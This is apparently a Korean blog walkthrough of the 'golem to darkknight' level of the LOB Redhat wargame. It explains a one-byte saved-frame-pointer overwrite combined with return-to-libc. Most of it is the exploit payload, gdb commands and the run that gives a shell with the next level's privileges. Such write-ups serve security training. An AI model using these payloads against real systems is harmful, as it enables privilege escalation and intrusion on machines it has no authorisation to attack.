소스코드를 보면
stack frame overwriting 문제라는 것을 알 수 있다.
일단 1바이트만 sfp변조가 가능하며 스택에 대한 시큐어 코딩이 없기 때문에 RTL과 혼합하여 공격해보도록 하겠다.
[payload]
[&system]["aaaa"][&"/bin/sh"]["x"*28]['buf주소 -4' 의 끝에 1byte]
'buf주소 -4' 의 끝에 1byte 구하기
[golem@localhost golem]$ gdb -q darkknight_1
(gdb) b *problem_child+6
Breakpoint 1 at 0x8048446
(gdb) r `perl -e 'print "\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40","x"x28,"\x70"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/golem/darkknight_1 `perl -e 'print "\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40","x"x28,"\x70"'`
Breakpoint 1, 0x8048446 in problem_child ()
(gdb) x/x %esp
A parse error in expression, near `esp'.
(gdb) x/x $esp
0xbffffcb4: 0x0804953c
(gdb) quit
The program is running. Exit anyway? (y or n) y
[golem@localhost golem]$ ./darkknight `perl -e 'print "\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40","x"x28,"\xb0"'`
?@aaaa廈@xxxxxxxxxxxxxxxxxxxxxxxxxxxx관퓹?9?웡옹 @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
*문제를 풀면서 깨달은 점은 bash 나 bash2로 자꾸 변경하면 ps에 자꾸 쉘이 쌓인다는 것이고 이는 현재 스택의 정확한 위치를 헷갈리게 한다..
'wargame > LOB Redhat' 카테고리의 다른 글
bugbear to giant (0) | 2014.05.27 |
---|---|
darkknight to bugbear (0) | 2014.05.27 |
skeleton to golem (0) | 2014.05.27 |
vampire to skeleton (0) | 2014.05.27 |
troll to vampire (0) | 2014.05.27 |